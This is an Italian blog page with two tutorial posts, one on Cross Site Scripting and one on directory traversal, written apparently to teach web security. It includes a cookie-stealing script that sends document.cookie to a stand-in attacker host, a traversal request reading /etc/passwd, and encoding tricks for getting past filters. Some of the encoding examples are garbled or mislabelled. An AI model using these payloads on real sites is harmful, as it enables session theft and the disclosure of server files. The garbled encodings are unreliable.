Il blog sull'informatica

Abbiamo già parlato di alcuni attacchi relativi alle piattaforme Web, quale SQL Injection e Directory Traversal. In questo post mi soffermerò invece su un altro tipo di attacco, ovvero il Cross Site Scripting (detto anche XSS o CSS).

Affinchè tale attacco abbia esito positivo è necessario che in fase di realizzazione del portale vittima non vengano previsti meccanismi di controllo dell'input, permettendo quindi ad un eventuale attaccante di inserire codice client-side (come Javascript) arbitrario. Facciamo un esemio pratico: supponiamo che sia presente all'interno di una pagina Web un apposito form per l'inserimento di alcuni dati, quali nome, cognome, ecc. Invece dei dati leggittimi, l'utente malevolo procederà con l'inserimento del seguente codice:

<script type="text/javascript">alert('XSS')</script>

Se, dopo aver eseguito il submit della stringa appena inserita, l'utente riceverà un alert contenente la scritta XSS, sarà certo che il sito è vulnerabile al tipo di attacco in questione.

Ora, appurato ciò, si potrebbe utilizzare il seguente codice per carpire le informazioni contenute nei cookie appartenenti ai visitatori del sito vittima:

<script>document.location='http://www.sitohacker.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

In questo modo i cookie verranno inviati tramite una semplice querystring (metodo GET) al sito dell'attaccante che provvederà, con del codice server-side, a salvarne il contenuto all'interno di un file testuale per poi riesaminarlo con calma.

Le informazioni contenute in un cookie possono essere, a seconda dei casi, del tutto banali oppure di estrema importanza, ragion per cui un attacco di questo tipo può avere effetti certamente imprevedibili.

Inutile dire che gli attacchi XSS non sono tutti dello stesso tipo; solitamente vengono classificati in due macro categorie, ovvero gli attacchi stored (permanenti) e gli attacchi reflected (temporanei). Nel primo caso, il codice HTML della pagina subisce modifiche permanenti (utilizzando, ad esempio, DOM Javascript oppure inserendo il codice all'interno di un post su un forum). Nel secondo caso, invece, la vittima viene indotta a cliccare su un link (presente in genere in una email appositamente creata), in modo da inviare automaticamente il cookie alla pagina Web dell'attaccante (come visto nell'esempio precedente).

Ma come difendersi da questo tipo di attacco? La via migliore sarebbe quella di interdire l'uso di caratteri "non convenzionali" all'interno dei campi di input, quali <, >, la stringa script, ecc. Ciò può essere banalmente realizzato utilizzando le potentissime espressioni regolari. Inoltre, poichè gli URL possono essere codificati (URI encoded), spesso il codice maligno può passare inosservato, ragion per cui il processo di validazione dell'input deve essere valutato molto attentamente (filtrando anche il carattere % tipico della codifica in questione).

In conclusione, ecco un video che mostra la realizzazione dell'attacco trattato in questo post:

Recentemente ho notato il moltiplicarsi di articoli riguardanti le più comuni vulnerabilità del Web, tra cui l'SQL injection ed il cross site scripting. Poco risalto però, secondo il mio parere, viene dato ad un altro tipo di attacco, dagli effetti altrettanto devastanti, quale il directory traversal. Esso consente ad utenti non autorizzati di accedere a risorse la cui visualizzazione dovrebbe essere inibita (si pensi, ad esempio, al file passwd o ancora peggio al file shadow dei server Web basati su sitemi *nix).

Un attacco di questo tipo va a buon fine quando non sono stati previsti opportuni meccanismi di controllo dell'input. Per rendere meglio l'idea si consideri il seguente codice PHP:

<?php
$template = 'red.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>

Essendo il PHP un linguaggio di scripting top-down è facile comprendere la logica che sta dietro a questo stralcio di istruzioni. Nella fattispecie,
dopo aver settato la variabile stringa $template, viene verificata la presenza della variabile superglobale $_COOKIE['TEMPLATE']. Se tale verifica ha esito positivo, la variabile $template settata in precedenza viene sovrascritta con il contenuto della variabile $_COOKIE['TEMPLATE']. Infine, viene richiamata la direttiva include, per richiamare all'interno della pagina il seguente percorso:

"/home/users/phpguru/templates/" . $template

che nel nostro caso diventa:

/home/users/phpguru/templates/$_COOKIE['TEMPLATE']

Ebbene, il problema è proprio questo. Che controllo viene fatto sul contenuto della variabile $_COOKIE['TEMPLATE']? Proprio nessuno. Quindi nulla vieta ad un utente malevolo di utilizzare un cookie (ebbene si, la variabile $_COOKIE['TEMPLATE'] non fa altro che leggere il valore associato al campo TEMPLATE contenuto nel cookie) nel quale sono presenti le seguenti istruzioni:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Ovvero si vuole utilizzare il metodo GET relativo al protocollo HTTP 1.0 per accedere alla pagina vulnerable.php.
Focalizziamo ora la nostra attenzione sul campo TEMPLATE. Esso contiene tutta una serie di ../ che consentono all'attacker di posizionarsi nella directory immediatamente superiore a quella su cui si trova il sito Web. Supponiamo che il sito si trovi nella dir /var/www/sitovulnerabile. Con un ../ si posiziona su /var/www, con un altro ../ si posiziona su /var e così via.

A questo punto, appare chiaro come sia opportuno filtrare appositamente i campi di input per evitare problemi di questo tipo. Ma è sufficiente andare alla ricerca dei caratteri tipici dell'attacco descritto in questo post (quali .., ../ oppure ..) per impedire che venga eseguito con successo? Assolutamente no. Infatti, quando si digita un indirizzo sul nostro browser, viene opportunamente codificato (URI encoded) ed i simboli non supportati da tale codifica vengono tradotti mediante la notazione %hh. Ad esepio, ../ diventa %2e%2e%2f, dove %2e rappresenta il punto (.), mentre %2f rappresenta lo slash (/).

Discorso simile riguarda la codifica Unicode/UTF-8. Nel momento in cui Microsoft ha introdotto il supporto a tale codifica sui propri server Web, tutti i meccanismi di prevenzione relativi al directory traversal previsti per la codifica URI sono venuti meno. Infatti, l'UTF-8 permette di utilizzare la notazione %hh%hh per rappresentare i caratteri non supportati. Ad esempio:

%c1%1c rappresenta il carattere /;

%c0%9v rappresenta il carattere backslash;

%c0%af rappresenta il carattere .

Inutile dire che esistono diversi modi per prevenire l'attacco in questione, ma certamente quello più efficace consiste nalla creazione di gabbie chroot.

Il post termina qui, a presto.